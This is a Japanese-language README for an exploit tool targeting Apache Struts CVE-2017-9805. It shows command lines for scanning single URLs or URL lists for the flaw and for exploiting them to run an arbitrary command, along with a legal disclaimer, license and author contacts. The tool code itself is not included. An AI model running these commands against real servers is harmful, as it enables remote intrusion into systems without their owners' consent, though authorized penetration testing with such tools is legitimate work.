apache-struts-pwn - CVE-2017-9805 エクスプロイト

Apache Struts CVE-2017-9805 のエクスプロイト

使用方法

単一のURLに対して脆弱性が存在するか確認します。

python apache-struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

URLのリストに対して脆弱性が存在するか確認します。

python apache-struts-pwn.py --list 'urls.txt'

単一のURLをエクスプロイトします。

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

URLのリストをエクスプロイトします。

python apache-struts-pwn.py --exploit --list 'urls.txt' -c 'echo test > /tmp/apache-struts-pwn'

必要条件

• Python2 または Python3
• requests

法的免責事項

このプロジェクトは教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにstruts-pwnを使用してターゲットを攻撃することは違法です。エンドユーザーは、該当するすべての地域、州、連邦の法律を遵守する責任を負います。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害について責任を負いません。

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。

著者

Mazin Ahmed

• ウェブサイト: https://lonerangerweb.wordpress.com/
• メール: ultimate31337[AT]gmail[DOT]com
• Twitter: https://twitter.com/lon3_rang3r